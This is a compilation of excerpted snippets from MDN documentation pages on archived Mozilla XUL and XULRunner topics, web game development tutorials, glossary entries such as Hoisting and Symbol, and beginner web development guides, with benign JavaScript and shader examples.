Creating XPI Installer Modules - Archive of obsolete content
uncompressed files by default, a new way to aggregate and distribute the files has improved performance, made the UI components more portable and easier to install, and made the installation process a much easier one. However, this new arrangement does not make things much easier for the web or user interface developer. The relatively simple process of finding the appropriate resources (i.e. XUL,
JavaScript, or CSS files) in the chrome subdirectories and editing them with a text editor has been replaced by something a lot of developers find more confusing and esoteric. This article describes the new packaging scheme of Mozilla and offers a tutorial for creating a new package that can then be redistributed, installed, and made available to users. The XPI Packaging Scheme A complete description of the...
...ke itself a piece of self-contained and redistributable software. Once you have created a package like the one described here, Mozilla users can download and install it in a single step. The Barley Package The barley package is a simple XUL window with a couple of buttons and an image element. One of the buttons, labeled "show aphids", displays an alert dialog by calling a function defined in the
JavaScript file barley.js. Since we are not updating the Mozilla UI to provide special access to this window (e.g., an item in the Tasks menu or elsewhere), the measure of the success of the installation of the barley package is that the user can, as before, invoke our software by using a special startup option: mozilla -chrome chrome://barley/content This option tells Mozilla to load a chrome other than t...
...rizontal" autostretch="never"> <button label="barley corn" /> <button label="show aphids" oncommand="bar();" /> </box> </window> The other files that the window imports are defined in dark blue. Note that the stylesheet processing instruction at the top of the XUL file does not refer to any new skin, but imports communicator.css to make use of that skin's basic widget styles. The
JavaScript file barley.js contains a single function, bar(), defined as follows: function bar() { alert("aphids"); } If you want to use the same GIF image that is used in the Barley package, it can be grabbed from here. While you are developing these resources and before you have made them a package of their own, you can test the basic layout and functionality by opening barley.xul from within Mozilla ...
...ckage, it can be grabbed from here. While you are developing these resources and before you have made them a package of their own, you can test the basic layout and functionality by opening barley.xul from within Mozilla by using File -> Open. Though Mozilla will not display the file as a separate window (much less interpret it as a separate package), you ought to be able to see the image and the
JavaScript function working as defined in barley.js (provided that both all three files are in the same working directory). Organizing the Resources Now that you have created the basic files to be included in your package, you should put them all in a single directory so that they can be bundled up. When your package includes its own theme, localization packs, or other components it's convenient (but not ne...
Document Object Model - Archive of obsolete content
various methods provided for this purpose. Specific XUL elements also provide additional functions which may be used. Each XUL file that is loaded will have its own document displayed in a window or frame. Although there is only ever one document associated with a window at a time, you may load additional documents using various methods. In Mozilla, the DOM may be accessed and manipulated using
JavaScript. The various DOM objects have functions which may be accessed in script, however, it is important to note that the DOM is an API that is accessible by
JavaScript.
JavaScript itself is just a scripting language that can access these objects because Mozilla provides these objects for use. In
JavaScript, there is always a single global object that is always available. You can refer to the propertie...
...ert box in there, we know what should happen when we click the Find button. We could add additional code to get the selections from the drop-down boxes too. XUL Element DOM Every XUL element has a set of attributes, a set of properties and a set of children. The attributes are declared in the source, for example, flex="1", is a flex attribute set to the value 1. Properties are available in
JavaScript using the dot syntax. For example, element.hidden refers to the hidden property of an element. The children are the child tags of the element and will be nested inside the element in the source. It is possible to manipulate the attributes, properties and children of an element dynamically using DOM methods. It is important to note that attributes and properties are separate things. Just becau...
... << PreviousNext >> ...
... << PreviousNext >> ...
Building XULRunner with Python - Archive of obsolete content
make -f client.mk which will also checkout client.mk itself For build only, without checkouts, use make -f client.mk build and see client.mk for other options. The built XULRunner can then be found asc:\projects\obj-xulrunner\dist\bin\xulrunner.exe. Using Python in XUL applications Add the following to yourprefs.js during development pref("browser.dom.window.dump.enabled", true); pref("
javascript.options.showInConsole", true); pref("
javascript.options.strict", true); pref("nglayout.debug.disable_xul_cache", true); pref("nglayout.debug.disable_xul_fastload", true); HTML <script> tags specify that Python is used withtype="application/x-python" attribute. DOM scripting is pretty much as with Java Script. For example def onLoad(): btnTest = document.getElementById("btnTest") btnTes...
...Listener('load', onLoad, False) One possible gotcha is that the default python path used to find modules that areimported explicitly includes the xulrunner executable directory and the directory that is current when XULRunner launches. However it does not include any path related to the XUL application being run. Some work around will need to be found. ...
...UL application being run. Some work around will need to be found. Unhandled exceptions are displayed in the
JavaScript Error Console which can be opened usingxulrunner -jsconsole. One solution is to puttry .... except: print_exc() round any event handler to print tracebacks to stdout and use a python console to catch that output. ...
...Some work around will need to be found. Unhandled exceptions are displayed in the
JavaScript Error Console which can be opened usingxulrunner -jsconsole. One solution is to puttry .... except: print_exc() round any event handler to print tracebacks to stdout and use a python console to catch that output. ...
Debugging a XULRunner Application - Archive of obsolete content
The easiest way to debug a XULRunner application is to get the system to tell you what's wrong! There are two different consoles available and various preferences which will ensure that the information you need to know is displayed on them. See also Debugging
JavaScript Prefs Setting the following prefs will make your debugging life much easier! Preferences should be in a .js file in the directory %appname%/defaults/preferences/. It doesn't matter what the file is called (as long as the extension is .js), so debug.js is as good as any! /* debugging prefs */ pref("browser.dom.window.dump.enabled", true); pref("
javascript.options.showInConsole", true); pref("
javascript.options.strict", true); pref("nglayout.debug.disable_xul_cache", true); pref("nglayout.debug.disable_xul_fastload", true...
...like the console messages to appear in the console you used to launch the application, you can use the Gecko Console Redirector. Precompiled binaries are available in the zipped archive https://github.com/matthewkastor/Redirector/archive/master.zip under Redirector-master\Gecko\Console Redirector\bin\Release Copy all the dll's and the exe to wherever you want. ...
...onsole Redirector.exe /? ...
...
JavaScript Console To enable the JS console, start XULRunner with the -jsconsole argument. Note: If you are not using the stub executable to launch the application, the -jsconsole argument is after the application.ini argument: e.g. xulrunner.exe /path/to/application.ini -jsconsole By default the JS console only shows errors from web content. To show errors in chrome
JavaScript, the pref pref("
javascript.options.showInConsole", true) must be set. To log JS errors to disk, set the environment variable XRE_CONSOLE_LOG to the path to the filename. i.e. export XRE_CONSOLE_LOG=/path/to/logfile or set XRE_CONSOLE_LOG=C:\path\to\logfile. To output messages to the
JavaScript console There are two ways to output messages to the JS console: Components.utils.reportError(str) will output str as an "err...
2006-12-01 - Archive of obsolete content
It supports a Apache2 module and stand alone version. http://www.juicescript.org/ Discussions Deleting Objects in SpiderMonkey A user asks if there's a method of manually deleting an object in SpiderMonkey before garbage collector deletes it. ...
...It supports a Apache2 module and stand alone version. http://www.juicescript.org/ Discussions Deleting Objects in SpiderMonkey A user asks if there's a method of manually deleting an object in SpiderMonkey before garbage collector deletes it. ...
... ...
...rface: var myDbase = new PgsqlConnection; myDbase.connect("database"); myDbase.exec("SELECT * FROM mytable WHERE ..."); // Use the result data - (native implementation function) myDbase.close() SpiderMonkey for Server side Inquiry about why
JavaScript hasn't caught on for general server-side scripting. Peter Wilson lists some important comparisons between SpiderMonkey and PHP. He states that
JavaScript is powerful server-side scripting but it lacks in popularity since its only supported by Netscape, lacks a wide range of libraries, minimal marketing support. http://www.whitebeam.org is an example of open source Server Side
JavaScript. ...
NPVariant - Archive of obsolete content
doubleValue; NPString stringValue; NPObject *objectValue; } value; } NPVariant; Fields The data structure has the following fields: type A member of the NPVariantType enumeration specifying the data type contained in the NPVariant. value The value contained in the NPVariant structure. It may be a boolean, integer, double, string, or object, depending on the variant type. ...
...iant; Fields The data structure has the following fields: type A member of the NPVariantType enumeration specifying the data type contained in the NPVariant. value The value contained in the NPVariant structure. It may be a boolean, integer, double, string, or object, depending on the variant type. ...
...ype A member of the NPVariantType enumeration specifying the data type contained in the NPVariant. value The value contained in the NPVariant structure. It may be a boolean, integer, double, string, or object, depending on the variant type. ...
... data type contained in the NPVariant. value The value contained in the NPVariant structure. It may be a boolean, integer, double, string, or object, depending on the variant type. ...
Using the W3C DOM - Archive of obsolete content
The W3C Document Object Model provides interfaces DOM elements to scriptable objects. ...
... InputName.value document.forms["FormName"].InputName.value or document.forms["FormName"].elements["InputName"].value FormCtrlName document.forms["FormName"].FormCtrlName or document.forms["FormName"].elements["FormCtrlName"] document.forms(0) document.forms[0] More on accessing forms and form elements: Referencing Forms and Form Controls by comp.lang.
javascript newsgroup FAQ notes DOM 2 specification on accessing forms and form elements Referencing Forms and Form elements correctly,
Javascript Best Practices, by Matt Kruse For accessing a group of elements, the DOM specification also includes getElementsByTagName, which returns a NodeList of all the elements with the given tag name in the order they appear in the document: var arrCollection_Of_Pargs...
...+ "px"; W3C DOM2 Reflection of an Element's CSS Properties Keep in mind that according to the W3C Recommendation, the values returned by the style property of an element reflect static settings in the element's STYLE attribute only, not the total "computed style" that includes any inherited style settings from parent elements. Therefore, if you wish to read and write these properties from
JavaScript through the DOM2, use one of these two approaches: Place all of the element's static CSS declarations (if it has any) in the element's STYLE attribute. Use no static CSS declarations for the element and initialize its CSS properties from
JavaScript through the DOM. W3C DOM2 Reflection of an Element's CSS Positioning Properties The values returned by the W3C DOM2 style.left and style.top pr...
...set. Reading the property returns the text of an element with all the element content removed. Setting the property replaces all the element's content with a single text node with the assigned text. The following examples show how to modify the text of a SPAN element that already exists in the HTML file. ...
VBArray.toArray - Archive of obsolete content
Non-standard. Do not use! This object is a Microsoft extension and is only supported in Internet Explorer. The VBArray.toArray method returns a standard
JavaScript array converted from a VBArray. Syntax safeArray.toArray( ) Remarks The required safeArray reference is a VBArray object. The conversion translates the multidimensional VBArray into a single dimensional
JavaScript array. Each successive dimension is appended to the end of the previous one. For example, a VBArray with three dimensions and three elements in each dimension is converted into a
JavaScript array as follows: Suppose the VBArray contains: (1, 2, 3), (4, 5, 6), (7, 8, 9). After translation, the
JavaScript array contains: 1, 2, 3, 4, 5, 6, 7, 8, 9. There is currently no way to convert a
JavaScript array into a VBArray. Ex...
...rted into a
JavaScript array as follows: Suppose the VBArray contains: (1, 2, 3), (4, 5, 6), (7, 8, 9). After translation, the
JavaScript array contains: 1, 2, 3, 4, 5, 6, 7, 8, 9. There is currently no way to convert a
JavaScript array into a VBArray. Example The following example consists of three parts. The first part is VBScript code to create a Visual Basic safe array. The second part is
JavaScript code that converts the Visual Basic safe array to a
JavaScript array. Both of these parts go into the <HEAD> section of an HTML page. The third part is the
JavaScript code that goes in the <BODY> section to run the other two parts. <head> <script type="text/vbscript"> <!-- Function CreateVBArray() Dim i, j, k Dim a(2, 2) k = 1 For i = 0 To 2 For j = 0 To 2 a(j, i) = k ...
...t code that goes in the <BODY> section to run the other two parts. ...
...Not supported in Windows 8.x Store apps. Applies To: VBArray Object ...
JavaObject - Archive of obsolete content
Summary Core Object The type of a wrapped Java object accessed from within
JavaScript code. Created by Any Java method which returns an object type. In addition, you can explicitly construct a JavaObject using the object's Java constructor with the Packages keyword: new Packages.JavaClass(parameterList) JavaClassis the fully-specified name of the object's Java class. Parameters parameterList An optional list of parameters, specified by the constructor of the Java class. Description The JavaObject object is an instance of a Java class that is created in or passed to
JavaScript. JavaObject is a wrapper for the instance; all references to the class instance are made through the JavaObject. Any Java data brought into
JavaScript is converted to
JavaScript data types. When the JavaObject...
... Properties Inherits public data members from the Java class of which it is an instance as properties. It also inherits public data members from any superclass as properties. ...
...ions. Properties Inherits public data members from the Java class of which it is an instance as properties. It also inherits public data members from any superclass as properties. Methods Inherits public methods from the Java class of which it is an instance. The JavaObject also inherits methods from java.lang.Object and any other superclass. ...
...o check whether theString begins with "Hello". var theString = new java.lang.String("Hello, world"); theString.startsWith("Hello"); // returns true Example: Accessing inherited methods Because getClass is a method of Object, and java.lang.String extends Object, the String class inherits the getClass method. Consequently, getClass is also a method of the JavaObject which instantiates String in
JavaScript. var theString = new java.lang.String("Hello, world"); theString.getClass(); // returns java.lang.String See also JavaArray, JavaClass, JavaPackage, Packages ...
Old Proxy API - Archive of obsolete content
he SpiderMonkey Proxy implementation is a prototype and the Proxy API and semantics specifications are unstable. The SpiderMonkey implementation may not reflect the latest specification draft. It is subject to change anytime. It is provided as an experimental feature. Do not rely on it for production code. Introduction Proxies are objects for which the programmer has to define the semantics in
JavaScript. The default object semantics are implemented in the
JavaScript engine, often written in lower-level languages like C++. Proxies let the programmer define most of the behavior of an object in
JavaScript. They are said to provide a meta-programming API. Terminology catch-all mechanism (or "intercession API") The technical term for this feature. handler The object that intercepts properties.
...ects the fundamental trap to be defined, then an error is thrown. If a derived trap is implemented, then that trap's code is called whenever the corresponding behavior happens on the proxy. If the derived trap is undefined, a default implementation using the fundamental traps is used. In other words: fundamental traps are required, derived traps are optional. Fundamental traps Emulated
JavaScript code Handler method Description Object.getOwnPropertyDescriptor(proxy, name) getOwnPropertyDescriptor: function(name) -> PropertyDescriptor | undefined Should return a valid property descriptor object, or undefined to indicate that no property with name exists in the emulated object. Object.getPropertyDescriptor(proxy, name) getPropertyDescriptor: function(name) -...
... is immediately called on the fixed object. Note: the fixed object has the same object identity as the proxy object. If fix() returns undefined, the call throws a TypeError exception. Derived traps Default implementation refers to the code that is called for that trap when the trap isn't explicitly defined. In these functions, this refers to the handler object. ...
... function handlerMaker(obj) { return { // Fundamental traps getOwnPropertyDescriptor: function(name) { var desc = Object.getOwnPropertyDescriptor(obj, name); // a trapping proxy's properties must always be configurable if (desc !== undefined) { desc.configurable = true; } return desc; ...
GLSL Shaders - Game development
SL (OpenGL Shading Language), a special OpenGL Shading Language with syntax similar to C. GLSL is executed directly by the graphics pipeline. There are two types of shaders: Vertex Shaders and Fragment (Pixel) Shaders. Vertex Shaders transform shape positions into 3D drawing coordinates. Fragment Shaders compute the renderings of a shape's colors and other attributes. GLSL is not as intuitive as
JavaScript. GLSL is strongly typed and there is a lot of math involving vectors and matrices. It can get very complicated -- very quickly. In this article we will make a simple code example that renders a cube. To speed up the background code we will be using the Three.js API. As you may remember from the basic theory article, a vertex is a point in a 3D coordinate system. Vertices may, and usually do, hav...
...he width and height of the <canvas> element that Three.js will insert on the page to be the full size of the viewport. The <script> element in the <head> includes the Three.js library in the page; we will write our code into three script tags in the <body> tag: The first one will contain the vertex shader. The second one will contain the fragment shader. The third one will contain the actual
JavaScript code generating the scene. Before reading on, copy this code to a new text file and save it in your working directory as index.html. We'll create a scene featuring a simple cube in this file to explain how the shaders work. The cube's source code Instead of creating everything from scratch we can reuse the Building up a basic demo with Three.js source code of the cube. Most of the components ...
...plain how the shaders work. The cube's source code Instead of creating everything from scratch we can reuse the Building up a basic demo with Three.js source code of the cube. Most of the components like the renderer, camera, and lights will stay the same, but instead of the basic material we will set the cube's color and position using shaders. Go to the cube.html file on GitHub, copy all the
JavaScript code from inside the second <script> element, and paste it into the third <script> element of the current example. Save and load index.html in your browser -- you should see a blue cube. The vertex shader code Let's continue by writing a simple vertex shader -- add the code below inside the body's first <script> tag: void main() { gl_Position = projectionMatrix * modelViewMatrix * vec4(positi...
...thub.io/MDN-Games-3D/Shaders/js/three.min.js"></script> <script id="vertexShader" type="x-shader/x-vertex"> void main() { gl_Position = projectionMatrix * modelViewMatrix * vec4(position.x+10.0, position.y, position.z+5.0, 1.0); } </script> <script id="fragmentShader" type="x-shader/x-fragment"> void main() { gl_FragColor = vec4(0.0, 0.58, 0.86, 1.0); } </script>
JavaScript var WIDTH = window.innerWidth; var HEIGHT = window.innerHeight; var renderer = new THREE.WebGLRenderer({antialias:true}); renderer.setSize(WIDTH, HEIGHT); renderer.setClearColor(0xDDDDDD, 1); document.body.appendChild(renderer.domElement); var scene = new THREE.Scene(); var camera = new THREE.PerspectiveCamera(70, WIDTH/HEIGHT); camera.position.z = 50; ...
Audio for Web games - Game development
and start playback then. For other more active sounds that are to be used during the game we could consider priming them as soon as something like a Start button is pressed. To prime audio like this we want to play a part of it; for this reason it is useful to include a moment of silence at the end of your audio sample. Jumping to, playing, and then pausing that silence will mean we can now use
JavaScript to play that file at arbitrary points. You can find out more about best practises with the autoplay policy here. Note: Playing part of your file at zero volume could also work if the browser allows you to change volume (see below). Also note that playing and immediately pausing your audio does not guarantee that a small piece of audio won't be played. Note: Adding a web app to your mobile's ...
...6</button> <button data-start="4" data-stop="5">7</button> <button data-start="2" data-stop="3">8</button> <button data-start="0" data-stop="1">9</button> Now we have buttons with start and stop times in seconds. The "countdown.mp3" MP3 file consists of a number being spoken every 2 seconds, the idea being that we play back that number when the corresponding button is pressed. ...
...e more advanced Web Audio API. Let's look at this next. Web Audio API for games The Web Audio API is supported across all modern desktop and mobile browsers, with the exception of Opera Mini. With that in mind, it's an acceptable approach for many situations to use the Web Audio API (see the Can I use Web Audio API page for more on browser compatibility). The Web Audio API is an advanced audio
JavaScript API that is ideal for game audio. Developers can generate audio and manipulate audio samples as well as positioning sound in 3D game space. A feasible cross-browser strategy would be to provide basic audio using the standard <audio> element and, where supported, enhance the experience using the Web Audio API. element and, where supported, enhance the experience using the Web Audio API. Note...
... <span id="clavi-play-label">Play</span> </button> </li> </ul> <p class="sourced">All tracks sourced from <a href="http://jplayer.org/">jplayer.org</a></p> </section> All of these tracks are the same tempo and are designed to be synchronized with each other, so we need to make sure they are loaded and available to the api before we are able to play them. We can do this with
JavaScript's async/await functionality. Once they are available to play, we need to make sure they start at the correct point that other tracks might be playing at, so they sync up. Let's create our audio context: // for cross browser compatibility const AudioContext = window.AudioContext || window.webkitAudioContext; const audioCtx = new AudioContext(); Now let's select all the <li> elements; later we...
2D breakout game using Phaser - Game development
Next >> In this step-by-step tutorial, we create a simple mobile MDN Breakout game written in
JavaScript, using the Phaser framework. Every step has editable, live samples available to play with, so you can see what the intermediate stages should look like. You will learn the basics of using the Phaser framework to implement fundamental game mechanics like rendering and moving images, collision detection, control mechanisms, framework-specific helper functions, animations and tweens, and winning and losing states. To get the most out of this series of articles you should already have basic to intermediate
JavaScript knowledge. After working through this tutorial, you should be able to build your own simple Web games with Phaser. Lesson details All the lessons -- and the different ve...
... After that, you can pick any framework you like and use it for your projects; we have chosen Phaser as it is a good solid framework, with a good suppo...
...n screen Move the ball Physics Bounce off the walls Player paddle and controls Game over Build the brickfield Collision detection The score Win the game Extra lives Animations and tweens Buttons Randomizing gameplay As a note on learning paths -- starting with pure
JavaScript is the best way to get a solid knowledge of web game development. If you are not already familiar with pure
JavaScript game development, we would suggest that you first work through this series' counterpart, 2D breakout game using pure
JavaScript. After that, you can pick any framework you like and use it for your projects; we have chosen Phaser as it is a good solid framework, with a good support and community available, and a good set of plugins. Frameworks speed up development time and help take care of the b...
... a good solid framework, with a good support and community available, and a good set of plugins. Frameworks speed up development time and help take care of the boring parts, allowing you to concentrate on the fun stuff. However, frameworks are not always perfect, so if something unexpected happens or you want to write some functionality that the framework does not provide, you will need some pure
JavaScript knowledge. Note: This series of articles can be used as material for hands-on game development workshops. You can also make use of the Gamedev Phaser Content Kit based on this tutorial if you want to give a talk about game development with Phaser. Next steps Ok, let us get started! Head to the first part of the series -- Initialize the framework. Next >> ...
2D maze game with device orientation - Game development
Example game By the end of the tutorial you will have a fully functional demo game: Cyber Orb. It will look something like this: Phaser framework Phaser is a framework for building desktop and mobile HTML5 games. It's quite new, but growing rapidly thanks to the passionate community involved in the development process. ...
...Cyber Orb source code on GitHub. The folder structure is quite straightforward: the starting point is the index.html file where we initialize the framework and set up an <canvas> to render the game on. You can open the index file in your favourite browser to launch the game and try it. There are also three folders in the directory: img: All the images that we will use in the game. src: The
JavaScript files with all the source code of the game defined inside. audio: The sound files used in the game. Setting up the Canvas We will be rendering our game on Canvas, but we won't do it manually -- this will be taken care of by the framework. Let's set it up: our starting point is the index.html file with the following content. You can create this yourself if you want to follow along: <!DOCTYPE ...
...The <body> contains initialization of the Phaser framework and the definitions of the game states. var game = new Phaser.Game(320, 480, Phaser.CANVAS, 'game'); The line above will initialize the Phaser instance -- the arguments are the width of the Canvas, height of the Canvas, rendering method (we're using CANVAS, but there are also WEBGL and AUTO options available) and the optional ID ...
...e called Boot to the game: game.state.add('Boot', Ball.Boot); The first value is the name of the state and the second one is the object we want to assign to it. The start method is starting the given state and making it active. Let's see what the states are actually. Managing game states The states in Phaser are separate parts of the game logic; in our case we're loading them from independent
JavaScript files for better maintainability. The basic states used in this game are: Boot, Preloader, MainMenu, Howto and Game. Boot will take care of initializing a few settings, Preloader will load all of the assets like graphics and audio, MainMenu is the menu with the start button, Howto shows the "how to play" instructions and the Game state lets you actually play the game. Let's quickly go though the ...
Boolean - MDN Web Docs Glossary: Definitions of Web-related terms
In computer science, a Boolean is a logical data type that can have only the values true or false. For example, in
JavaScript, Boolean conditionals are often used to decide which sections of code to execute (such as in if statements) or repeat (such as in for loops). Below is some
JavaScript pseudocode (it's not truly executable code) demonstrating this concept. ...
... In computer science, a Boolean is a logical data type that can have only the values true or false. For example, in
JavaScript, Boolean conditionals are often used to decide which sections of code to execute (such as in if statements) or repeat (such as in for loops). Below is some
JavaScript pseudocode (it's not truly executable code) demonstrating this concept. ...
...ts) or repeat (such as in for loops). Below is some
JavaScript pseudocode (it's not truly executable code) demonstrating this concept. /*
JavaScript if statement */ if (boolean conditional) { // code to execute if the conditional is true } if (boolean conditional) { console.log("boolean conditional resolved to true"); } else { console.log("boolean conditional resolved to false"); } /*
JavaScript for loop */ for (control variable; boolean conditional; counter) { // code to execute repeatedly if the conditional is true } for (var i=0; i < 4; i++) { console.log("I print only when the boolean conditional is true"); } The Boolean value is named after English mathematician George Boole, who pioneered the field of mathematical logic. Learn more General knowledge Boolean on Wikipedia...
...able; boolean conditional; counter) { // code to execute repeatedly if the conditional is true } for (var i=0; i < 4; i++) { console.log("I print only when the boolean conditional is true"); } The Boolean value is named after English mathematician George Boole, who pioneered the field of mathematical logic. Learn more General knowledge Boolean on Wikipedia Technical reference The
JavaScript global object: Boolean
JavaScript data types and data structures ...
First-class Function - MDN Web Docs Glossary: Definitions of Web-related terms
A programming language is said to have First-class functions when functions in that language are treated like any other variable. For example, in such a language, a function can be passed as an argument to other functions, can be returned by another function and can be assigned as a value to a variable. Example | Assign a function to a variable
JavaScript const foo = function() { console.log("foobar"); } // Invoke it using the variable foo(); We assigned an Anonymous Function in a Variable, then we used that variable to invoke the function by adding parentheses () at the end. Even if your function was named, you can use the variable name to invoke it. Naming it will be helpful when debugging your code. But it won't affect the way we invoke it. Example | Pass a function as an Argu...
..."); } // Invoke it using the variable foo(); We assigned an Anonymous Function in a Variable, then we used that variable to invoke the function by adding parentheses () at the end. Even if your function was named, you can use the variable name to invoke it. Naming it will be helpful when debugging your code. But it won't affect the way we invoke it. Example | Pass a function as an Argument
JavaScript function sayHello() { return "Hello, "; } function greeting(helloMessage, name) { console.log(helloMessage() + name); } // Pass `sayHello` as an argument to `greeting` function greeting(sayHello, "
JavaScript!"); We are passing our sayHello() function as an argument to the greeting() function, this explains how we are treating the function as a value. The function that we pass as an argu...
... A function that returns a function is called a Higher-Order Function. ...
... A function that returns a function is called a Higher-Order Function. Back to our example; Now, we need to invoke sayHello function and its returned Anonymous Function. ...
Hoisting - MDN Web Docs Glossary: Definitions of Web-related terms
Hoisting is a term you will not find used in any normative specification prose prior to ECMAScript(R) 2015 Language Specification. Hoisting was thought up as a general way of thinking about how execution contexts (specifically the creation and execution phases) work in
JavaScript. However, the concept can be a little confusing at first. ...
...st. Conceptually, for example, a strict definition of hoisting suggests that variable and function declarations are physically moved to the top of your code, but this is not in fact what happens. Instead, the variable and function declarations are put into memory during the compile phase, but stay exactly where you typed them in your code. Learn more Technical example One of the advantages of
JavaScript putting function declarations into memory before it executes any code segment is that it allows you to use a function before you declare it in your code. For example: function catName(name) { console.log("My cat's name is " + name); } catName("Tiger"); /* The result of the code above is: "My cat's name is Tiger" */ The above code snippet is how you would expect to write the code for it to ...
...r it to work. Now, let's see what happens when we call the function before we write it: catName("Chloe"); function catName(name) { console.log("My cat's name is " + name); } /* The result of the code above is: "My cat's name is Chloe" */ Even though we call the function in our code first, before the function is written, the code still works. This is because of how context execution works in
JavaScript. Hoisting works well with other data types and variables. The variables can be initialized and used before they are declared. Only declarations are hoisted
JavaScript only hoists declarations, not initializations. If a variable is declared and initialized after using it, the value will be undefined. For example: console.log(num); // Returns undefined, as only declaration was hoisted, no initi...
... in ReferenceError exception. console.log(num); // Throws ReferenceError exception num = 6; // Initialization Below are more examples demonstrating hoisting. // Example 1 // Only y is hoisted x = 1; // Initialize x, and if not already declared, declare it - but no hoisting as there is no var in the statement. console.log(x + " " + y); // '1 undefined' // This prints value of y as undefined as
JavaScript only hoists declarations var y = 2; // Declare and Initialize y // Example 2 // No hoisting, but since initialization also causes declaration (if not already declared), variables are available. a = 'Cran'; // Initialize a b = 'berry'; // Initialize b console.log(a + "" + b); // 'Cranberry' Technical reference var statement -- MDN function statement -- MDN ...
Symbol - MDN Web Docs Glossary: Definitions of Web-related terms
A symbol may be used as an object property. Symbol can have an optional description, but for debugging purposes only. A Symbol value represents a unique identifier. For example: // Here are two symbols with the same description: let Sym1 = Symbol("Sym") let Sym2 = Symbol("Sym") console.log(Sym1 === Sym2) // returns "false" // Symbols are guaranteed to be unique. // Even if we create many symbols with the same description, // they are different values. ...
... two symbols with the same description: let Sym1 = Symbol("Sym") let Sym2 = Symbol("Sym") console.log(Sym1 === Sym2) // returns "false" // Symbols are guaranteed to be unique. // Even if we create many symbols with the same description, // they are different values. Note: If you are familiar with Ruby's (or another language) that also has a feature called "symbols", please don't be misguided.
JavaScript symbols are different. Symbol type is a new feature in ECMAScript 2015. There is no ECMAScript 5 equivalent for Symbol. In some programming languages, the symbol data type is referred to as an "atom." Symbols don't "Auto-Convert" to strings Most values in
JavaScript support implicit conversion to a string. For instance, we can alert almost any value, and it will work. Symbols are special. Th...
...mbol.hasInstance Symbol.isConcatSpreadable Symbol.iterator Symbol.toPrimitive ...and so on. Global symbol registry There is a global symbol registry holding all available symbols. The methods that access the registry are Symbol.for() and Symbol.keyFor(); these mediate between the global symbol table (or "registry") and the run-time environment. The global symbol registry is mostly built by
JavaScript's compiler infrastructure, and the global symbol registry's content is not available to
JavaScript's run-time infrastructure, except through these reflective methods. The method Symbol.for(tokenString) returns a symbol value from the registry, and Symbol.keyFor(symbolValue) returns a token string from the registry; each is the other's inverse, so the following is true: Symbol.keyFor(Symbol.for(...
...nfrastructure, except through these reflective methods. ...
Tree shaking - MDN Web Docs Glossary: Definitions of Web-related terms
This is important for preparing code that is production ready, for example with clean structures and minimal file size. ...
...This is important for preparing code that is production ready, for example with clean structures and minimal file size. ...
...This is important for preparing code that is production ready, for example with clean structures and minimal file size. ...
...This is important for preparing code that is production ready, for example with clean structures and minimal file size. ...
Array - MDN Web Docs Glossary: Definitions of Web-related terms
An array is an ordered collection of data (either primitive or object depending upon the language). Arrays are used to store multiple values in a single variable. This is compared to a variable that can store only one value. Each item in an array has a number attached to it, called a numeric index, that allows you to access it. ...
...ata (either primitive or object depending upon the language). Arrays are used to store multiple values in a single variable. This is compared to a variable that can store only one value. Each item in an array has a number attached to it, called a numeric index, that allows you to access it. In
JavaScript, arrays start at index zero and can be manipulated with various methods. ...
...ble. This is compared to a variable that can store only one value. Each item in an array has a number attached to it, called a numeric index, that allows you to access it. In
JavaScript, arrays start at index zero and can be manipulated with various methods. ...
...dex, that allows you to access it. In
JavaScript, arrays start at index zero and can be manipulated with various methods. What an array in
JavaScript looks like: let myArray = [1, 2, 3, 4]; let catNamesArray = ["Jacqueline", "Sophia", "Autumn"]; //Arrays in
JavaScript can hold different types of data, as shown above. ...
Common questions - Learn web development
u host your website on Google App Engine? Looking for a place to host your website? Here's a step-by-step guide to hosting your website on Google App Engine. What tools are available to debug and improve website performance? This set of articles shows you how to use the Developer Tools in Firefox to debug and improve performance of your website, using the tools to check memory usage, the
JavaScript call tree, the number of DOM nodes being rendered, and more. Design and accessibility This section lists questions related to aesthetics, page structure, accessibility techniques, etc. How do I start to design my website? This article covers the all-important first step of every project: define what you want to accomplish with it. What do common Web layouts contain? When designin...
...ibility. How can we design for all types of users? This article provides basic techniques to help you design websites for any kind of user -- quick accessibility wins, and other such things. ...
... This article provides basic techniques to help you design websites for any kind of user -- quick accessibility wins, and other such things. ...
...her such things. What HTML features promote accessibility? This article describes specific features of HTML that can be used to make a webpage more accessible to people with different disabilities. ...
Basic native form controls - Learn web development
input> fields are the most basic form widgets. They are a very convenient way to let the user enter any kind of data, and we've already seen a few simple examples. Note: HTML form text fields are simple plain text input controls. This means that you cannot use them to perform rich editing (bold, italic, etc.). All rich text editors you'll encounter are custom widgets created with HTML, CSS, and
JavaScript. All basic text controls share some common behaviors: They can be marked as readonly (the user cannot modify the input value but it is still sent with the rest of the form data) or disabled (the input value can't be modified and is never sent with the rest of the form data). They can have a placeholder; this is text that appears inside the text input box that should be used to briefly descr...
...mp to the server stating when an order was placed. Because it is hidden, the user can not see nor intentionally edit the value, it will never receive focus, and a screen reader will not notice it either. <input type="hidden" id="timestamp" name="timestamp" value="1286705410"> If you create such an element, it's required to set its name and value attributes. The value can be dynamically set via
JavaScript. The hidden input type should not have an associated label. Other text input types, like search, url, and tel, were added with HTML5. Those will be covered in the next tutorial, HTML5 input types. Checkable items: checkboxes and radio buttons Checkable items are controls whose state you can change by clicking on them or their associated labels. There are two kinds of checkable item: the check ...
...n, despite its name; let's move on and look at actual buttons! There are three input types that produce buttons: submit Sends the form data to the server. For <button> elements, omitting the type attribute (or an invalid value of type) results in a submit button. reset Resets all form widgets to their default values. button Buttons that have no automatic effect but can be customized using
JavaScript code. Then we also have the <button> element itself. This can take a type attribute of value submit, reset, or button to mimic the behevior of the three <input> types mentioned above. The main difference between the two is that actual <button> elements are much easier to style. Note: The image input type also renders as a button. We'll cover that later too. Note: You can find the examples ...
...e attribute that were added in HTML5. ...
Adding vector graphics to the Web - Learn web development
using various graphics tools, and create approximations of photos (for example Inkscape's Trace Bitmap feature.) SVG has some additional advantages besides those described so far: Text in vector images remains accessible (which also benefits your SEO). SVGs lend themselves well to styling/scripting, because each component of the image is an element that can be styled via CSS or scripted via
JavaScript. So why would anyone want to use raster graphics over SVG? Well, SVG does have some disadvantages: SVG can get complicated very quickly, meaning that file sizes can grow; complex SVGs can also take significant processing time in the browser. SVG can be harder to create than raster images, depending on what kind of image you are trying to create. SVG is not supported in older browsers, so m...
...ght="87" width="100" /> Pros Quick, familiar image syntax with built-in text equivalent available in the alt attribute. You can make the image into a hyperlink easily by nesting the <img> inside an <a> element. The SVG file can be cached by the browser, resulting in faster loading times for any page that uses the image loaded in the future. Cons You cannot manipulate the image with
